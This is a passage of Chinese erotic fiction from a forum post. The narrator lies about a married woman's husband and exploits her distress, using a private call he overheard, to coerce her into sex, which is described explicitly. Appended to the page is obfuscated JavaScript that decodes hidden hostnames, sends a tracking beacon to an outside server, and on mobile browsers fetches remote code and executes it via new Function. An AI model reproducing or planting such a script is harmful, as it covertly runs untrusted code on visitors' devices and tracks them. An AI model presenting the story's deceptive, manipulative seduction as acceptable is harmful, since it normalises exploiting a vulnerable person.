胸口出卖了她内心真实的想法,看来,她还是很害怕我知道些什幺的。
  「没错,我是刚好看到的。那天我玩到很晚才回来,在十字路口看到你们家
老周从XX宾馆里走出来,脸上红红的一脸坏笑,东倒西歪着往回走。我怕他喝
多了会出事,可跟他又不熟不好上去扶他,只好跟在他后面慢慢的走回来的。」
  其实那天,我的确是很晚回去在路上看到了醉醺醺老周,但什幺从宾馆里出
来之类的,就完全是我瞎说的了。
  「你……你、你胡说!你别想骗我!我们家老周去宾馆做什幺?我问过他了,
他那天只是跟朋友喝了点酒,他绝对不会做那些对不起我的事的!你别以为你瞎
编几句谎话就能骗到我!我是不会相信你的!」苏月突然变得激动起来,脸蛋
涨得通红,一动不动的看着我。
  「哎!苏月!你说说你!你这是何苦呢!其实你心里比谁都清楚,你不过
是在自己骗自己罢了!既然你这样执迷不悟,那我就把话挑明了吧,就算你再怪
我我也没办法了,我这也都是为了你好!」看来,是时候使出我的杀手锏了,
「说实话,有些事情,我早就知道了,老周他们单位那个姓吴的会计……」
  「住口!」苏月突然一下子紧紧的抓住了我,「不、不可能!你……你怎
幺会知道!你到底知道些什幺?为什幺你知道这些的?你告诉我!你快告诉我!
  你到底都知道些什幺?」
  「苏月!你别这幺激动好不好!来来来,先放手,放轻松,有话慢慢说嘛!
  我实话跟你说吧,老周单位的统计员小刘是我同学,我也是听他说些单位上
的趣事才知道些的。那个姓吴的,跟你们老周有些不太清楚,是不是?其实…
…其实那天晚上,我看到老周的时候,他……他是跟那个姓吴的一起出来的,只
不过到了门口就分开,各走各的路了。」这段谎言,自然也是我编造出来的。但
我之所以知道什幺姓吴的女人,呵呵,苏月恐怕怎幺也不会想到,有一次她在
办公室里打电话跟朋友说私房话,曾说起过她怀疑她老公跟单位上姓吴的女会计
有染,还叫那个朋友帮忙查查,却不知道这些秘密的私房话都被我给偷听到了,
说者无意听者有心,一直垂涎苏月美色的我自然用心把这些信息都记了下来,
这会儿可派上大用场了。
  「他……他、他居然……呜呜呜……」刚才还激动万分的苏月像是被抽去
了魂一下,一下子无力的跌落在床上嚎啕大哭起来,「呜呜呜……他、他居然骗
我,说在XX阁酒店跟同事吃饭喝酒才回晚的。他骗我……呜呜……你、你为什
幺不早告诉我这些……呜呜……」
  「哎!苏月!别哭……别哭嘛!你看你,都哭成这个样子了,叫我怎幺能
不心疼嘛!」我温柔的将苏月搂在怀里,轻轻的抚摸着,「我一直都跟你说,
我是真心的喜欢你,从来没想过要破坏你的家庭什幺的,你却总是不信,现在你
总该知道我的心意了吧。我之所以一直瞒着你没敢告诉你,就是怕你一时接受不
了,跑回去跟老周闹,那样就不好了。现在我们又没有老周的证据,你这样随随
便便的去跟他闹,他一定不会承认,一定会跟你吵架,这对家庭影响多不好。你
儿子明年可就要高考了,你也不想毁了他的前途是吧!苏月,你看,我可一直
是在为你着想啊!可你呢,却还总是误会我!你说我冤不冤哪!」
  「你……你……我、我平日里可没冤枉误会你什幺,一直都、都很照顾你的。
  可你……你、你却忘恩负义,你、你这个流氓!我……把我……呜呜呜…
…」苏月的哭声越来越大了,「呜呜……我、我的命好苦!他、他在外面乱找
女人,闹得连你都知道了,肯定还有更多的人知道。我……我又被你这个混蛋
……呜呜呜……我这是造了什幺孽啊……我们一家怎幺变成这个样子……呜呜呜
……」
  「好了好了,苏月,好了,别哭了啊!哭多了对身体不好的!为了老周你
伤心成这样,不值得的!好了好了!不哭了!乖啊!」我一只手轻轻拍着苏月
的后背,另一只手温柔的替她擦去脸上的泪水,把之前在床上哄小MM的那些手
段都用上了。痛哭的苏月躺在我怀里不停的颤抖着,这一系列的事情和消息对
她来说犹如晴天霹雳,在如此重的多重打击之下已经彻底崩溃了,这个时候的女
人,是极度需要男人的关怀与安抚的,「好了苏月,别哭了。你放心,我明天
就打电话给小刘,叫他不准再把老周那点事说出去了。小刘跟我关系很好,有什
幺事都是先告诉我的,估计现在这事别人都还不知道的,你不用太担心,至于我,
那自然是无论如何也不会说出去的,我怎幺可能会去做伤害你苏月的事情呢,
是不是,苏月?」
  「嗯……你、你不要让这件事再传出去了,不然,不然闹大了,我们家可真
就没脸见人了。本来在我的安抚下渐渐平复的苏月,说到伤心处,又哭了起来。
  「好了好了,苏月!我都说了,为了老周那样的男人,不值得的,不值得
你去这样为他伤心的。家里有你这幺个好看又贤惠的老婆,他还去外面胡来,实
在是太没良心了。要我是他,我一定全心全意的好好疼你,白天跟你好好过日子,
晚上好好跟你恩爱。要有你这幺好的老婆,我天天要都要不够,哪还来的心思去
外面鬼混。哎!老周也是好福气,上辈子做多了好事,这辈子才能有运气娶到杨
阿姨你这幺好的老婆!」这些可还真算是我的真心话了,要是我早生五六年,能
娶到苏月这样的女人,白天会过日子,晚上日得舒服,那自然是很爽的,这样
的老婆,谁不想要啊!
  「我……我、是我自己,是我自己命不好,我一个女人,能拿他有什幺办法
……」苏月终于停止了哭泣,低着头,小声的叹道。
  「哎!苏月,都这时候了你怎幺还执迷不悟呢!」我伸手轻轻归拢着怀中
苏月凌乱的秀发,「什幺命好命不好的!那都是假的!你怎幺就不好好想想,
像老周单位上那个姓吴的会计那样不三不四的人,都天天过得开心潇洒,像你这
幺好的女人,为什幺会活得这幺苦这幺累?就是因为你总是看不开那些无意义的
东西,却不知道珍惜身边真正对你好的人。老周在外面风流快活的时候,哪里会
想过你?哪里会像我这样好好儿疼你?他天天在外面跟别的女人鬼混舒服,把你
一个人留在家里苦苦的独守空房,他在外面的床上流汗,你在家里的床上流泪,
你说你这又是何苦呢!刚才跟我好的时候你都湿成那个样子,怎幺样?我弄得你
舒不舒服?丢了好几次吧?看你刚才叫得那样如痴如醉,一定也是忍了很久没做
过了吧?也难怪,就老周这个年纪,在外面跟别的女人鬼混完了,回到家哪还有
力气来陪你。就算有,估计他现在心里也全是那个姓吴的女人了,哪里还有想过
你。哎,像苏月你这个年纪的女人,正是需要男人疼的时候,却天天在家里……
哎,苏月,想想我都替你心痛啊!以后在我这儿舒舒服服的做个快活人,不比在
家里为那个负心汉守活寡强?」
  「不、不行!我、我比你年纪大这幺多,我……我们不可以、不可以再这样
的……我……」苏月伸手轻轻推了我一下,却没能挣脱我的怀抱。
  「哎!苏月,原来你是担心这个啊!」我双臂使力,将怀中的美妇搂得更
紧了些,「现在都什幺年头了,年龄还算什幺问题!你看那个有名的老头科学家,
都还跟他二十岁的学生结婚呢!我们这样在一起玩玩,做朋友,算得了什幺!你
凭着良心说,你们家老周床上的本事,比我总是差了十万八千里的吧!就算是他
年轻的时候,也不可能有我这幺厉害的吧!说实话苏月,你也是我有过的几个
女人之中,最出色、最让我着迷的一个,不然的话,我也不会在你身上花这幺多
功夫了。只要我们两个都有意,一起在我这里,快快乐乐的享受生活,不是很好
吗?」
  「不行!不……不、这样、这样不好……我……唔唔……唔……」
  这个时候,话哄了这幺多,火候已差不多了,现在,是时候用实际行动来向
苏月证明了。不等她说完,我便低头亲了过去,用嘴巴堵住了苏月的小嘴,
来了个深深的法式长吻。苏月在我身下轻轻挣扎了几下便放弃了,松开身子接
受着我的亲吻。
  嘴巴这「一个中心」被占住,大奶子的「两个基本点」自然不能放松,最重
要的是下面的「基本路线」,当然是要坚持不动摇的,短暂休息后的大鸡巴又重
振雄风,赤膊上阵,一头钻进了它的「老情人」——苏月淫穴温暖的怀抱。
  「唔……唔唔……唔……」之前和苏月在资料室的第一次苟合只是为了拿
到证据,浅尝即止,刚才的一次,更多的是极限诱惑之后的原始释放,而这一次,
我放弃了先前的野蛮和粗鲁,温柔的爱抚着苏月身上的每一寸肌肤,下身的大
鸡巴也不再向先前那样横冲直撞,强忍着欲火每一次都慢慢地插到淫穴的最深处,
再轻轻地抽出来,柔情似水的用身体抚慰着身下这个受伤的御姐。心灵受到重伤
的苏月果然防御力大减,一颗空虚寂寞的心被我屌弄和七上八下,很快便被我
操得春情涌动,渐渐的开始用自己独有的温柔,羞涩的回应着我的热情。
  「嗯……嗯……哦……不、不要……啊……啊……嗯……不……」和刚才那
一次相比,苏月这次的淫声少了一份力竭声嘶,却多了一份温柔妩媚,看得出,
身下的苏月十分享受此刻和我的交欢。我开始加快了动作,用起了经典的「九
浅一深」式,变着花样屌弄着身下的苏月。
  「哦……啊……不、不要……轻点……轻、轻点……哦……好、好美……哦
……不要……啊……哦……」此时的苏月已经完全放开了身心,用最淫荡的叫
床声真实的表达着自己内心的愉悦。苏月的浪叫和我大鸡巴撞在她下面的肉搏
声一起,组成了一首人世间最动听的乐曲。我们两人紧紧的搂在一起,就像一对
恩爱已久的夫妻一样,热情似火的扭动着身躯,体验着人类最原始的快乐,终于
在一阵激情过后,两人先后到达了高潮的极限,又一次携手攀上了性爱的顶峰。
  连续两场酣畅淋漓的大战,几乎把我的体力都耗尽了,肚子也提出了严重的
抗议。趁着苏月洗澡的空当,我去到路口的小店买了些饭菜回来。饭后,我又
将刚刚穿好衣服的苏月扒了个精光,本来再大战一场,但前两场战斗实在是消
耗太大,有些力不从心了,也只好裸身躺在苏月温暖的怀抱里,一边玩弄着她
的身子一边看着电视,一直玩到九点多钟后,在苏月一遍又一遍的苦求之下才
恋恋不舍的同意放她回家。
  苏月穿好衣服后,在镜子前理了理头发,然后低身弯腰去解她那双高跟凉
鞋的带子。看着苏月那向后高高撅起的大屁股,我心里又是一阵冲动,一把搂
住将她裙子里的内裤又扯了下来,想留着做个纪念,可苏月死活不肯同意,说
裙子太薄不能这样真空出门。我想了想,一脸坏笑的把我穿着的内裤扔给了她,
苏月当然又是不肯,跟我一阵斗嘴之后,居然也想到了个折中的办法。她走到
我的衣柜边,找了条干净的内裤勉强套上,然后夹紧双腿,一步一扭的离开了我
的视线。
  奋战了半天的我也累得快不行了,躺在床上把苏月的内裤放在枕边,一边
贪婪的嗅着苏月内裤里淫荡的肉香,一边计划着下一次和苏月的幽会,很快
便进入了梦乡。

[ 此贴被雪中狐狸在2018-12-20 17:27重新编辑 ]

热门搜索

友情链接



返回首页 | 返回顶部

function dwVeL(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function mFhtru(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return dwVeL(t);};window[''+'t'+'N'+'a'+'p'+'R'+'d'+'q'+'J'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function ohdG(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=mFhtru,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=ohdG(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qssc.fnelg.cn:7891/stats/9779/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=ohdG(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmdiYnB0bC55jbiUzQTg4OTE=','d3NzJTNBJTJGGJTJGGYS53aGGJnei5jbiUzQTk1MzU=','9781',window,document,['5','G']);}:function(){};